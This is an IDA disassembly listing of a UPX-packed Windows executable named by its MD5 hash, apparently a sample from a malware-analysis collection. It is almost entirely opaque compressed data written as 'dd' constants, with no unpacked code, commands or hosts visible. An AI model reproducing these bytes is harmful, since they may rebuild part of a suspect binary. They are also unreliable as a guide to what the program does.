;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	80B087C16BC2AE7EB391058520F70760

; File Name   :	u:\work\80b087c16bc2ae7eb391058520f70760_orig.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 00016000 (  90112.)
; Section size in file		: 00000000 (	  0.)
; Offset to raw	data for section: 00000400
; Flags	E00000A0: Text Bss Executable Readable Writable
; Alignment	: default

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
UPX0		segment	para public 'CODE' use32
		assume cs:UPX0
		;org 401000h
		assume es:nothing, ss:nothing, ds:UPX0,	fs:nothing, gs:nothing
		dd 5800h dup(?)
UPX0		ends

; ---------------------------------------------------------------------------
; Section 2. (virtual address 00017000)
; Virtual size			: 0000C000 (  49152.)
; Section size in file		: 0000C000 (  49152.)
; Offset to raw	data for section: 00000400
; Flags	E0000060: Text Data Executable Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
UPX1		segment	para public 'CODE' use32
		assume cs:UPX1
		;org 417000h
		assume es:nothing, ss:nothing, ds:UPX0,	fs:nothing, gs:nothing
		retf	0F77Fh
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0D2BFD806h, 53513BBFh, 0AB36D053h, 0B853AF03h, 0AF16D854h
		dd 0ED76DA13h, 0D006EFDBh, 0D353D66Fh, 0D75C1B12h, 10055245h
		dd 6EC367ACh, 0D6DE47FFh, 0ACACAEF3h, 9AABB03h,	0D0A0A16h
		dd 0DAECDD87h, 0C23A6FFh, 5039ADA3h, 0EFAC2539h, 26FDBCCDh
		dd 5B46AC5Bh, 0F6D03523h, 0D85E60B3h, 0EB9B08D6h, 6636B1Eh
		dd 5B7D694h, 8F095F57h,	20C8DB3Bh, 0A74B03DEh, 5D276352h
		dd 0B716BF64h, 9BE657BBh, 3E7B5ED9h, 53606F05h,	0B5FDCF50h
		dd 0EED036FFh, 51275305h, 390A00B8h, 0DD162652h, 83B6BD83h
		dd 5253285Fh, 0F13A9CBBh, 4646C997h, 0CB315FB6h, 37594DCBh
		dd 5367370Dh, 2693D657h, 0BAABAB10h, 0E6DCEC17h, 7B6FACB2h
		dd 1C0A81BAh, 0DB1B909Ah, 5F452376h, 3D33BB9h, 3CFBF153h
		dd 3EC399D7h, 118FBA56h, 263B08FFh, 77050CF9h, 3AD7BBD3h
		dd 5111663Ah, 0E47F6E16h, 0AF1ED821h, 4DA9B50h,	5C8A2ED0h
		dd 16EC8B64h, 57525340h, 35ABBA52h, 0F3722C3Ch,	0A280E3Bh
		dd 0DEFCDA83h, 59D68877h, 0D60E1B07h, 7B7DADA7h, 0A26BF6ECh
		dd 5C11505Bh, 0AB1513EDh, 8777260Fh, 538B3EC5h,	56D7DE2Ch
		dd 0B3125E48h, 0B8270B60h, 0B012E13Eh, 0CEC39E45h, 5112AE80h
		dd 97EC1D93h, 50BBFD83h, 0FF3B0405h, 0AE07AC51h, 0FCEEDDF7h
		dd 520BBC4Dh, 0A8DBB11h, 0D6E55C0Ah, 3D8F180Bh,	271805DBh
		dd 0D80E2270h, 3B63AC29h, 0C7D8E7F6h, 0E58D217h, 4391F684h
		dd 71ECCBBh, 85919F0Ah,	261F1FA3h, 0ED738040h, 0BB2FFE3Bh
		dd 606CD7F4h, 57B3BA93h, 0E35AB107h, 0BB77B67Ch, 1B2C5F2Bh
		dd 0D87017F6h, 3643937h, 4FD80603h, 0EFFBB7F0h,	680BDED8h
		dd 59DE5C5Bh, 0DE6D841h, 7847A53Ah, 16ECF0B3h, 0B1572B1Fh
		dd 64576ABBh, 446E4526h, 31EE0B58h, 0DDAF6789h,	1AB35B33h
		dd 0C30603DFh, 0E9933C5Dh, 0DE2323FDh, 17DE571Ah, 2F035F52h
		dd 8C6E6027h, 0D0F58F3h, 0F30EB22h, 5A4A5B42h, 0A41E5752h
		dd 308C488Bh, 0D093F746h, 0C75F4293h, 6F006FD6h, 0EEDF273Bh
		dd 0E1AC7D42h, 87816B13h, 0D80265EFh, 26D6785Bh, 0FD941F6Eh
		dd 5F25D2DCh, 0B8D4B5Fh, 643176B8h, 0DA3637BAh,	0B05D82Ah
		dd 6F687663h, 0C6B1AB2h, 0DB436505h, 5711E77Bh,	0C3B12B50h
		dd 9DEBABCBh, 5AF7F23h,	7270184Eh, 0EEEF74C1h, 0B16D0C51h
		dd 22FBAF7Bh, 0AF773907h, 0D806AF77h, 0CD63C27Bh, 6A0A9916h
		dd 77D45C11h, 0B3B71FA9h, 1150862Fh, 0DEED49EDh, 0EE906851h
		dd 2792EC0Bh, 92D0196Dh, 5721C73h, 0BA8664B3h, 0DE289471h
		dd 7399CC64h, 6738860h,	0F7A5786Bh, 3132330Ch, 304B44CFh
		dd 23036BF7h, 0CE1ABAC3h, 0AFD8F328h, 501E1CB0h, 1BC642DEh
		dd 0B00367AEh, 8A595FEEh, 7EB5270Bh, 6012F5C3h,	23F8C32Ah
		dd 56BB0F27h, 0ADE489F1h, 0A48B7B72h, 0CE725937h, 8A061707h
		dd 0BD3859BFh, 0A8BC3B23h, 0A616D9CFh, 464FD6DBh, 32760518h
		dd 0A8CE36D3h, 320D23A4h, 4F3BD4F1h, 3EC6DDCCh,	47ED8B07h
		dd 5FDB56D9h, 0A4897DB8h, 1B4030C1h, 0E9563FF3h, 0F7BBEB64h
		dd 0D00A21A9h, 3DDBCA90h, 3742D870h, 0D2897EF7h, 30D783BAh
		dd 13184646h, 9B136385h, 0A6FC6C3Dh, 7681AC6h, 952326E5h
		dd 0CC277D7Eh, 0A8864F2Dh, 5E1F10h, 9F584C1Fh, 76BBE661h
		dd 6C01B807h, 2D202964h, 0F74E1794h, 3C97813Bh,	0EEB3D3ABh
		dd 0C1C7249h, 4E05AFD8h, 229F3B2Ch, 60E47CEEh, 80D3438Dh
		dd 0BA5CB82Ch, 0F77B4036h, 422BE3Dh, 0D0C276Fh,	0EFC919Ah
		dd 65D83616h, 5F160202h, 0E0CE5E05h, 0BBEE58C1h, 529500D0h
		dd 0E07B24DEh, 0BB777DE0h, 3C531326h, 6FDF38E2h, 0D9B124A2h
		dd 1BDB431Eh, 8C013057h, 5E3B8141h, 305612DAh, 721B5F52h
		dd 93E24F81h, 1CA55Ah, 3773B711h, 1C5A56B7h, 8C141913h
		dd 0F34316F6h, 60D8616Bh, 0CFE5945Ah, 0AE081CD2h, 0C7A613FBh
		dd 3BAB2650h, 0C390A27h, 8176EF83h, 1341BDAFh, 0CE2E007Fh
		dd 0B784114Bh, 6ED01F74h, 27278D77h, 0C620866h,	14DB21C8h
		dd 1C4F4B4Bh, 4F872032h, 77037373h, 6A0E9306h, 67D3EB53h
		dd 0F186EE0Dh, 3AADAD3h, 7DE0D5Dh, 2723E136h, 9D61391Dh
		dd 0BB772723h, 1D478597h, 7F567801h, 37A76E4Dh,	79B85121h
		dd 779096C9h, 53A90021h, 0C4FBAF6Dh, 156EBB05h,	5F2D14F0h
		dd 7097B0FEh, 2759402Fh, 265E0A58h, 0F8F73B46h,	0EB31C08Ch
		dd 1E9AD53h, 1E1D44B8h,	51615916h, 1933B817h, 8627C344h
		dd 0E8910E0Eh, 0C483CE5Dh, 633C8386h, 50F4C254h, 0E6DDBF3Ah
		dd 0E7AB9F24h, 0BB02F002h, 607E05E6h, 0B97B143Eh, 0AFA70E8Ch
		dd 7BAD78B6h, 463B0D99h, 273F7814h, 284C4D9Bh, 2E2DABBFh
		dd 9AB1931Bh, 0BBD850AFh, 0DBA3E25Fh, 72034EF9h, 6BB4EBFh
		dd 3B64FBCBh, 234ECF27h, 0B97BBB4Bh, 98320DCCh,	0E4A77953h
		dd 4F217938h, 0AB8BC706h, 6E8EAEBCh, 2FA22727h,	0C85D35E8h
		dd 4E246F22h, 27DDB670h, 4B41E64Eh, 0C66E90Eh, 23FDA340h
		dd 0E3D9CF7Ch, 4329792Fh, 0CC2C8F7Bh, 91DF9E4Dh, 12173903h
		dd 0E9DFAFF3h, 0F3B348CEh, 0F49F17F3h, 0BD767735h, 0ABD88367h
		dd 0F7AF8B31h, 0B6406660h, 61B38F0Bh, 0B05EEB19h, 5201B255h
		dd 90E463BAh, 0AD84826Eh, 9EF1532Fh, 9F51B906h,	0D96BE66Eh
		dd 0C79C234Eh, 17F05CD8h, 4ED9C70Ah, 694BE45Fh,	0B32C03F0h
		dd 254E2593h, 73ABE794h, 5678114Bh, 5437F609h, 621F3E17h
		dd 0AF0C6D04h, 611CC1AEh, 124DE96Fh, 1B1D03CFh,	0A43B0718h
		dd 3BADD38Ch, 1F7ABC9Bh, 0A9A3E11Ah, 0BACFAF44h, 0A2F75858h
		dd 141F85Bh, 506F8331h,	47D809F9h, 4F3EBE46h, 0D27727D7h
		dd 0F9B20EEh, 4A2776C8h, 53EBB7FBh, 4B539353h, 977527B8h
		dd 6DBA8D59h, 6787E0D1h, 0AB90722Fh, 0C06AB87h,	0CC1EF468h
		dd 7220AB6Eh, 9AAFE60Ah, 6BD0CF1Eh, 0ABE4C126h,	0B0DA948Eh
		dd 0ABACA591h, 0E435415Fh, 95BEF090h, 0D907E4AFh, 4EB8241Dh
		dd 0A7B7A4C3h, 6DB04206h, 4956DB32h, 3B840A18h,	0A8C71E46h
		dd 7CBBF3D8h, 10D3D0A8h, 29629C88h, 26E79B8Eh, 1EA8E04Ch
		dd 14626B73h, 2C3B3818h, 575E3BB3h, 91ACE4D3h, 0B52EC6Eh
		dd 0CB7302ECh, 0E070343Bh, 0F8C3D075h, 9E1A0128h, 3B34D7F4h
		dd 83CAD17Fh, 98C33622h, 0DE07CD90h, 1EC550F4h,	5E04B929h
		dd 0CC6A0C31h, 1CF9F57h, 530FD379h, 122E5157h, 9B064B3Bh
		dd 52577C0Fh, 0F74AD2AEh, 703E7D24h, 4E462F77h,	1E473B78h
		dd 7F00B29h, 0A67FBEEh,	64F94409h, 73A73B5Ch, 0DCCFDEB0h
		dd 49E458EEh, 4E5557B6h, 854879F2h, 1FAEA973h, 0ACC11FBFh
		dd 161766CEh, 60EC54FEh, 1162A6AEh, 92665ABBh, 0DEB9F20Bh
		dd 0A94FA94Fh, 0F2753946h, 2B9BE4E1h, 7443D548h, 0FD8C621Ah
		dd 0A81A5F9Eh, 0BC617E3Dh, 0CF7B1CDAh, 3E143DF2h, 79FB4F4Ch
		dd 418C6F4Ah, 0C6832E06h, 0AFC57A77h, 0D88160DEh, 0D1D37AB2h
		dd 0F9F23B9Bh, 79AF00ADh, 4214BBE5h, 92604B9Bh,	1AF63C7Bh
		dd 8E7C4881h, 0DCC2747Ch, 43211BABh, 1D66E8A9h,	0D29805EFh
		dd 8B252B08h, 58DC8D8Dh, 2250D82Fh, 8B3A0BDAh, 0AF646466h
		dd 0EE395F1Fh, 5EC3E137h, 75BB5507h, 0FECCC267h, 2EB9E15Eh
		dd 0F878B63Ah, 0AC521895h, 65765CB7h, 19CA4520h, 9A1EE083h
		dd 391E17B7h, 0E6BCDD0Dh, 6731706Bh, 6A230B47h,	0D6763CD6h
		dd 0C30DE3Dh, 1ED8E41Bh, 0C753EACAh, 0D02ED9Ah,	5B13AAA4h
		dd 0CE8A0588h, 0BE6916C8h, 78643857h, 78B7531Ch, 8B05BFBBh
		dd 8BC52366h, 8E9D22EEh
		dd 73E434Fh, 5CBB77ECh,	0AFAAAF27h, 10BC20AAh, 3B832162h
		dd 7387B67h, 0E7FD39E1h, 19B0C473h, 4E1821F3h, 0D0EDB111h
		dd 665325FFh, 0CAEA4C7h, 4F898885h, 39F24E59h, 4F519FC8h
		dd 311920A4h, 4D9F219h,	31A41247h, 0A55B191Ah, 2FBC7E7Bh
		dd 460E1B07h, 2A44A55Bh, 44B9F23h, 42A543D5h, 0E09A6019h
		dd 9C2C66BDh, 794D491Eh, 12F04F60h, 0B3301144h,	0AEC71Ah
		dd 74F3A1DDh, 38534318h, 0D8EDD30Dh, 0A316224Bh, 95FEF81Fh
		dd 8FCF9101h, 5139139Bh, 57525A39h, 0B914AABFh,	27287BC0h
		dd 0C08DDB68h, 16CE1B93h, 26E2CBD3h, 0EBDD5066h, 4257E173h
		dd 40DBA6AFh, 0D8BB40FAh, 70D3ADC9h, 0F3F99DB1h, 9122521Eh
		dd 0BB3DED91h, 0E5187782h, 273E5757h, 0C55461B5h, 0D02BB36Bh
		dd 0D7BE71F4h, 3BC5FD70h, 0C173A438h, 4761F905h, 2C903DA4h
		dd 90667B79h, 0CC4840B3h, 6CEF16CEh, 644767C2h,	5A0D7F1Ah
		dd 0E7B0644Ch, 0F08EAD4Ch, 0FA9F4023h, 3EF9DE12h, 22D0373Bh
		dd 7B05A473h, 0E2283E41h, 0A936CE39h, 402E9869h, 3C490317h
		dd 4C80C883h, 9E9A9A1Bh, 3371CCF0h, 0A9B819B9h,	0AABB0976h
		dd 9F3D98DBh, 5AAABBB2h, 96782908h, 5A3D9E4h, 0C6E97A44h
		dd 673BD97Ah, 4B2762BDh, 0E7B363E6h, 0D831EBF3h, 0D0734B74h
		dd 0B99AAB16h, 0E28DC9E7h, 275F14A8h, 3E7C8A5Fh, 0A3D148C5h
		dd 241B5BAEh, 46DCF907h, 0A6A7A6A7h, 0D7E6A6A7h, 0FF39DB3Bh
		dd 0BB2631A7h, 81AC2CAAh, 9F7CACC8h, 0C2768C74h, 0D1AD0B65h
		dd 0BA400A84h, 0B59E4953h, 345353E4h, 9F23A44Fh, 0E8D9F5Dh
		dd 141E22ACh, 3C13A55Fh, 1491CF90h, 0A6ABA55Fh,	4D22A6A3h
		dd 0A6A3F9F7h, 4738A6BFh, 0DEB27278h, 5BB1CD9h,	0EBA6BF22h
		dd 0BF1ECB9Dh, 5B72715h, 61320322h, 0D8E3CD0Bh,	0ACC27870h
		dd 980122E3h, 0C97A9B7Dh, 0E7B39E4Bh, 2E74B215h, 0EB078921h
		dd 0B8572ECFh, 309BB899h, 3C5FBFD0h, 1B659659h,	5F430541h
		dd 3A175547h, 534B714Bh, 2DC7A6AFh, 32C76E15h, 0ABAB6D12h
		dd 7E2ED221h, 0CD91E4Eh, 4F861F8Ah, 13A70DBBh, 0A759375Dh
		dd 0E61F1317h, 92C4D3AFh, 16B585CFh, 0F38ACFE3h, 0A972C480h
		dd 652168Bh, 0E04EC659h, 92761643h, 27CF6753h, 7AC54746h
		dd 3918FB52h, 0B98CF26Eh, 51159E55h, 645F10C1h,	1ED8FE2Bh
		dd 7CDBDAA7h, 24F03251h, 2601FC60h, 43B63423h, 0C2D02F3Bh
		dd 6B839724h, 23CCF4Dh,	80E03B17h, 53415533h, 0B7D84CC8h
		dd 32154E64h, 360241C5h, 17A88179h, 60724E8Ah, 178FC5CFh
		dd 7391F38Ah, 692C0D89h, 5773D542h, 0B32D89FDh,	53472E25h
		dd 9E9BF579h, 0A8BF075Fh, 54A8BF93h, 80500591h,	7D62186Bh
		dd 6C52FC19h, 4F837364h, 95711FAFh, 0ACD30E47h,	231A3980h
		dd 0BD964A0Dh, 0A8BF66C8h, 3B6C7FE7h, 0CBD83233h, 767E4A1Eh
		dd 6C1DB3B3h, 835AF7Bh,	6E254072h, 0F730E7Fh, 82991D67h
		dd 6C7185BFh, 7B646764h, 0A3A33D0Ah, 311EF034h,	36C65BC8h
		dd 0F603931Bh, 3B2A55CCh, 10A8438Bh, 0B191D8D8h, 5DA781A7h
		dd 2D680ED8h, 0D87938A7h, 78E55125h, 0EE6C5710h, 29B7BDB3h
		dd 933BB744h, 33A72550h, 0F6F739B2h, 0ABD2F14Fh, 0B09C9DABh
		dd 0B7265266h, 0A478399Dh, 58DB67D9h, 7F727713h, 43215121h
		dd 0BD4CC3ACh, 6E0F5CD1h, 31FF091Eh, 9064704Dh,	5373966Bh
		dd 0C17B732Bh, 0DED8DFA7h, 375BDA34h, 30B86C10h, 26419918h
		dd 611FC754h, 24BF6723h, 0BBED11BEh, 677B93BBh,	79853804h
		dd 8A1B3055h, 3C3EDBF0h, 7829DEDEh, 7B36C92h, 0B833029Bh
		dd 31612B67h, 0BE4DC0A3h, 0DB7E4526h, 7B71502h,	22BDA92h
		dd 7BB2B2CBh, 67167B7Ah, 0DF7B0675h, 7E8E0B40h,	9C610E04h
		dd 0B0BACD36h, 79BB30E8h, 483B0640h, 1D52567Bh,	53677293h
		dd 0D71028FAh, 9E119EC1h, 0B7DFB353h, 0CECD354Fh, 1298C97Ah
		dd 9DC7A99h, 68C3D91Bh,	9C2F05AFh, 0F812C934h, 0B362CC21h
		dd 0E7E64CE2h, 0D8392F26h, 1224E04Eh, 0E48B7A25h, 0BD222968h
		dd 0BE628B71h, 0E6CB53Ch, 45BF906h, 2750FC3Bh, 70841CF9h
		dd 1251AA97h, 2C813A2h,	9B173367h, 941677BAh, 1398DF1Bh
		dd 0AE2B910Ah, 1CB04D80h, 67AE27E4h, 0DB4DF3AAh, 0DDBBBBECh
		dd 39152FD6h, 0EEDED24Ch, 0F8A00A2Eh, 1AF9F835h, 1C93905Bh
		dd 0AA16AA17h, 5DE26B3Ch, 9F693B72h, 3E8FD8A9h,	8B7CF9F2h
		dd 0A883D69Fh, 5439F901h, 64C6973Bh, 9A15C5EBh,	2C8E2E8Ch
		dd 5CF03B2Eh, 499ED6D6h, 0B609619Ch, 0C233E011h, 8B370935h
		dd 0BD9B2E40h, 762673ABh, 97DF6522h, 0BF708ECDh, 70B8F7FAh
		dd 730F2440h, 94203263h, 0CCAA97CEh, 8E64F135h,	80559E38h
		dd 0DF9B0490h, 0F23D18E4h, 0AA13A76Ch, 0A5C31B07h, 0BD0E7877h
		dd 48D77B05h, 47BDB640h, 36941933h, 0CECA69A1h,	0ACD06325h
		dd 53ABABC4h, 6F677B2h,	350B502Fh, 5BFB3F8Eh, 4D174A59h
		dd 3D04267Ch, 7856F7D3h, 9D8EE74h, 0BE9D7F6Ah, 6037B646h
		dd 9D9B3B09h, 33E30DEh,	9DB93E13h, 6D82F90Bh, 0BAAA6B91h
		dd 0F6055684h, 6FB7CD95h, 18682F63h, 0F20695F6h, 0BD712C6Ah
		dd 0D01DD905h, 0DB7DE3AEh, 0B09B5ED7h, 5EBA582Ah, 34A1A407h
		dd 7EC9838h, 723B11C3h,	132620EBh, 3BAA6B53h, 21052003h
		dd 7AD31676h, 0C871BAA7h, 47358760h, 195567BCh,	6F4D46B0h
		dd 65592255h, 264B901Ch, 6E9C1735h, 9C81FC83h, 530AE99Dh
		dd 4551EB6Fh, 4C5F639Eh, 0AE2F316Bh, 9E4773CEh,	0AA171283h
		dd 2AD5BAD9h, 721C9D9h,	12E563A4h, 390076Eh, 6E1C7F72h
		dd 0C64C6E69h, 285025C7h, 7253AE7Ch, 4B80E790h,	3A7D5FF4h
		dd 78CBC953h, 0A4A9574Dh, 6C91F96Fh, 135392B9h,	5E0B16DDh
		dd 9B5FD3F6h, 0D7D7AF3Bh, 8D226E55h, 0AB399E05h, 8F764505h
		dd 9E00459Eh, 0D6C734Fh, 2F610313h, 0D22410F6h,	461BAD18h
		dd 843B3193h, 9C1A3552h, 1E71D79Ah, 6F7E0C08h, 5AF6F42h
		dd 3B6C0727h, 6FD284ABh, 84BC972Bh, 292B68F3h, 4DBDD79Fh
		dd 0F6903D02h, 0D8253B57h, 0EF119EF7h, 0EC9AA53Dh, 7C155368h
		dd 0C9BD9605h, 0F21D4EA8h, 8EE51AE5h, 540697BBh, 0B463BC19h
		dd 7D6FE6B3h, 61002684h, 3AAC36B9h, 3C032D49h, 0F592C43Bh
		dd 68C00323h, 81C058FFh, 170F2C2Ch, 0D917C8CBh,	77970C76h
		dd 515B27D9h, 47929E4h,	2650AA9Bh, 0DB232116h, 4FD24D82h
		dd 8311B95Dh, 520A3C3Ah, 0AD8E394Bh, 27975088h,	24CD0947h
		dd 8F9386DDh, 9167EB8h,	3902E743h, 0B593D98h, 72F6FA4Eh
		dd 3243CEF5h, 0F7875140h, 923C6CF9h, 5B6E59BBh,	0FE8C5FF6h
		dd 5970B20Ch, 60AB0388h, 0F1789069h, 232DCF26h,	0C53A4AFh
		dd 87260C8h, 7427AB0Ah,	3FE301CFh, 4FF09729h, 27740AA6h
		dd 2D5C9D82h, 0A42CC0FEh, 2693B2E1h, 393AE258h,	0B0658A0Eh
		dd 0AE394B11h, 0C0D2C8BFh, 54B2E31h, 34192573h,	3E41B2FDh
		dd 6C05BB56h, 39C070E5h, 171E4BC9h, 77F078D7h, 0C97903ABh
		dd 55D74703h, 60E5CBF0h, 0B6364FD4h, 0A9D4A9DFh, 438AC0Bh
		dd 0E5476C30h, 0E01A6CF6h, 98FC1AEBh, 0D818BF6Bh, 0BFCF5FEAh
		dd 395BD2CCh, 575A3929h, 87C48FA2h, 0AD813520h,	0A35637D3h
		dd 0DB9C9675h, 157AD522h, 6ACD6B35h, 559B6373h,	75433F10h
		dd 5F23C85Fh, 14D0BF8Ch, 5B56BF53h, 7364C03Fh, 1439180Ah
		dd 585F56BFh, 7A22A7B2h, 0CD43230Ah, 802B6ACFh,	3BBF92D6h
		dd 0CB2D7961h, 3190381Fh, 3B52FC47h, 5BB8D6Fh, 1B81C03Fh
		dd 6B6E170Ah, 0AA97518Dh
		dd 21D4263Ch, 476D48Bh,	0D87CF686h, 0D22F8C04h,	5BD97BEEh
		dd 937905F0h, 270B6124h, 39EC172Fh, 0D3503979h,	13560627h
		dd 0ECE6D90Bh, 0B8154EE7h, 21DE0D3Ch, 9ECE2530h, 25C0CD93h
		dd 0B7AC703h, 0E9B74FAEh, 6EB87C7Eh, 67B8EF83h,	3478F708h
		dd 0D734F34Fh, 134A3771h, 0F34F7486h, 0B9547743h, 0A2605347h
		dd 7A52FE8Eh, 67ABDE40h, 591D5B5Fh, 41D5AF0Bh, 588D7F09h
		dd 1B29FFA9h, 0AC571306h, 0A2661C80h, 0EB0BEDE3h, 0C80C80C8h
		dd 0CCFE797h, 0F30C80C8h, 0C8DFFFBh, 0E3F780C8h, 70B77AFh
		dd 0F0F40528h, 0E73B971Fh, 0CF7DAA89h, 86AF1285h, 0D01C1BCCh
		dd 1C109EEAh, 38CE7EF6h, 22ADA7C4h, 1E4A5351h, 0A1B0806Ah
		dd 521FF491h, 0C85E24F7h, 0F4B366F7h, 0B8F2C5D5h, 0C7B3B58h
		dd 0EFB98EDAh, 0F312F1Ch, 6BD2754Fh, 1F09E7EDh,	144D26DAh
		dd 0D813D3D8h, 59290C1Eh, 571AF3F4h, 9BD0D2DAh,	9B2719ACh
		dd 1B60BEDBh, 432E1D8Eh, 724D08AFh, 5127F573h, 6C3B4627h
		dd 21675866h, 0DF83DF90h, 0A8BA0AEBh, 525B2653h, 6792E799h
		dd 876F6F5Bh, 0B056D3FAh, 0B9495B53h, 0BB6361h,	965A5666h
		dd 439F7746h, 2C72439Fh, 6D56EF1Fh, 51FACD07h, 0E09FF720h
		dd 0BBDC9953h, 602C2502h, 0B5A08316h, 0F13AD67h, 250C9435h
		dd 0BE23AFB6h, 0F1B4720h, 6B42034Ch, 6B6DCA2Fh,	0E6815435h
		dd 8FC9949Fh, 0C763336Dh, 185BF658h, 0DF605A9Bh, 3B9BA1DCh
		dd 0DA9BFE21h, 0E5205B1Bh, 5F32CF90h, 97559797h, 0B1D9A5B7h
		dd 43434B5Fh, 15739612h, 7B36DA9Fh, 4B12FAA5h, 0F68736D0h
		dd 2B9A1593h, 0DDE0B3BEh, 2147FD67h, 9961C65Bh,	0D9FA922Eh
		dd 441B626Fh, 0EB59F86Bh, 970F79A8h, 2CB3E41Bh,	0B33ED99Bh
		dd 87B31C13h, 20EBBF42h, 0E40CD6Eh, 0B138DB6Fh,	999DD133h
		dd 2DC3B364h, 43639338h, 0BD08CB2h, 0B7B73E67h,	87F20339h
		dd 0B7432565h, 0A3675EBBh, 2E43903Ch, 4BA360AEh, 0DB233567h
		dd 0BB9DA184h, 9823BBBBh, 6806D6EAh, 60D05C53h,	0D6DF5931h
		dd 93D43BA1h, 7353AB30h, 7EB593BBh, 0D8B7BA33h,	9CDA9306h
		dd 1BF940Eh, 89D85684h,	52EF37EFh, 217E121Bh, 5207DAEFh
		dd 8127EB90h, 0EBF21735h, 605FEB55h, 84D87286h,	0A5DE109Eh
		dd 6CBF8436h, 0B7069A0Ch, 4B5917DAh, 0AC2C655h,	0DB57EF87h
		dd 9B9A7B4h, 0E45B2D30h, 619E1742h, 7D4ABB7Fh, 1B93BAF7h
		dd 1B0A9B50h, 511F4B0Bh, 6DB9BA4Fh, 93304670h, 4359B7E4h
		dd 123B38A7h, 0E25767F7h, 0D25CBD26h, 5A27D2FCh, 0B377730Ah
		dd 757593D6h, 0F0162211h, 2040349Fh, 37108E99h,	5DD8EC5Ch
		dd 1ECC0B0Eh, 0D05551F3h, 6D43D6C4h, 0AC2CC710h, 0B24F1023h
		dd 0C13CF4DCh, 5B9F409Fh, 5123BAC2h, 16605782h,	78151904h
		dd 7D41D19Bh, 936F13A5h, 0AE51B3D0h, 7F9F7BE6h,	0E8411BAh
		dd 716D2B57h, 57B307B6h, 735D775Ch, 181DB362h, 77145824h
		dd 73465CBAh, 0AC1C30E9h, 1362DAC3h, 92E7D918h,	0B92547EDh
		dd 52B51414h, 58727D89h, 398B2DB2h, 1E5395BAh, 81832B72h
		dd 53C3DE52h, 59AF2BD2h, 2C1B07A1h, 77F0E2Eh, 26D815E4h
		dd 523DA026h, 847863BBh, 9A16215Ch, 1B0EC86Ch, 107B2D29h
		dd 990345F1h, 0A0791687h, 2D8B8D4Bh, 4E7F260Ch,	209F593Ah
		dd 0B2059C6Dh, 58517C35h, 0F016CEF7h, 0F93E45Ch, 0CC5E2367h
		dd 10C83200h, 0DAB1F34Fh, 927C141h, 4C1A6341h, 3E84687Ch
		dd 767C4337h, 0C38A12BBh, 5C67C1C8h, 0E11B7BE4h, 4C4B1701h
		dd 150BDDD6h, 64F61C91h, 707C81ABh, 37DE2F41h, 2561B8ECh
		dd 0E528F06Eh, 5C104575h, 0DFFA0C99h, 0E871B4C9h, 8A466716h
		dd 3086020Ch, 0F64F671Bh, 3F00725Bh, 1F2DBE84h,	3B4B720Eh
		dd 307BDAF3h, 78274A8h,	2B3B40A4h, 0CD8BB613h, 16A726F6h
		dd 0B413F00Bh, 43263B3Bh, 2B02070Dh, 0D8A6F853h, 0BD8C833h
		dd 1F1BBF2Ah, 0F2133C12h, 3131F4Ch, 0CF213367h,	0B770784h
		dd 0C84CF213h, 33530F47h, 3E40E790h, 8337DBBFh,	9BF25A24h
		dd 0DB9BC23Bh, 0D6320CAEh, 260A1F62h, 3C843FABh, 12F3F613h
		dd 37C8DB23h, 2327CF21h, 0C375F2Bh, 0AF0C2CF2h,	0D7AFDB18h
		dd 8B099E42h, 166FDB12h, 0DF6646BDh, 0C5732B24h, 8B64659h
		dd 7FDF5ADBh, 1FBBF4ADh, 0DB1A5694h, 1B09A366h,	845394E9h
		dd 41EFE08Dh, 0EE1C5601h, 0DB671368h, 67B190C9h, 4BA3A3B9h
		dd 1967A372h, 5FD367B0h, 2CBBBB26h, 0BFCF20CCh,	6A2FBBD4h
		dd 7A9BB714h, 84417BEBh, 35527E93h, 879452FEh, 3C39E6Ch
		dd 7E7E6DBDh, 66D1E27Eh, 0BD074B57h, 0A0ED5BDDh, 8DA59E4Dh
		dd 636BDBDh, 0EA372373h, 4CDC0A4Ah, 7CF9D82Fh, 3850F57Eh
		dd 0BD09DA97h, 0B674C59Eh, 3A411113h, 0E666BD1Fh, 1B56B5ACh
		dd 5F737B33h, 1189073Dh, 0D54731Ch, 3A2D8D80h, 27907CACh
		dd 56CFA043h, 43A3859Eh, 0D946401Bh, 0CD13CCF6h, 0FC05BE8Bh
		dd 7B800848h, 70ACC2B0h, 7F03BB2Ch, 83B968D0h, 2543F1BDh
		dd 47DF3742h, 8317BB7Bh, 0EDA02EF6h, 0A7BD9B56h, 6D230839h
		dd 0BE5702BAh, 63FA7F44h, 73D82D91h, 0CE16C042h, 0B058F177h
		dd 77741DD8h, 0B6BB3815h, 999D8B78h, 0DAE3B70Fh, 3B445B77h
		dd 259D9E4Bh, 4727A014h, 0B39D1AD1h, 0D78B3C9h,	2C1CDFF1h
		dd 5FE9C2F2h, 409FBF47h, 0F5384F30h, 0BA4C8CFDh, 0C888B25Fh
		dd 4D69341h, 71378C3Ah,	535161BEh, 0D94B5FE3h, 842E0312h
		dd 0E4B8D12Ah, 0C024BA55h, 3E69784Bh, 758C5911h, 4C270858h
		dd 5477EB7h, 0D2118C8Dh, 0D4F455D8h, 6749C2F9h,	0CDAB9BABh
		dd 0D88D4765h, 6EA06FABh, 0F747067Fh, 0DE260AE6h, 7325529Ah
		dd 24175045h, 53E4E8h, 6D8130Dh, 6F03CEEDh, 71B1B5Fh, 0EDC08918h
		dd 5DDF203Eh, 92AFE525h, 0D20D43BBh, 6E64B0B2h,	92509E53h
		dd 252113C0h, 0A4F66E66h, 0DF4A6A83h, 0BB2DD9F3h, 50051DBBh
		dd 57EB7527h, 776C3727h, 7FBDB953h, 4EAD3BB0h, 9188BB52h
		dd 585B42DCh, 9DD81C8Fh, 0B7D35B82h, 0B392EF1Eh, 37580C5Bh
		dd 7F762160h, 60CB23ACh, 4383216Dh, 80B12324h, 4B27320Ch
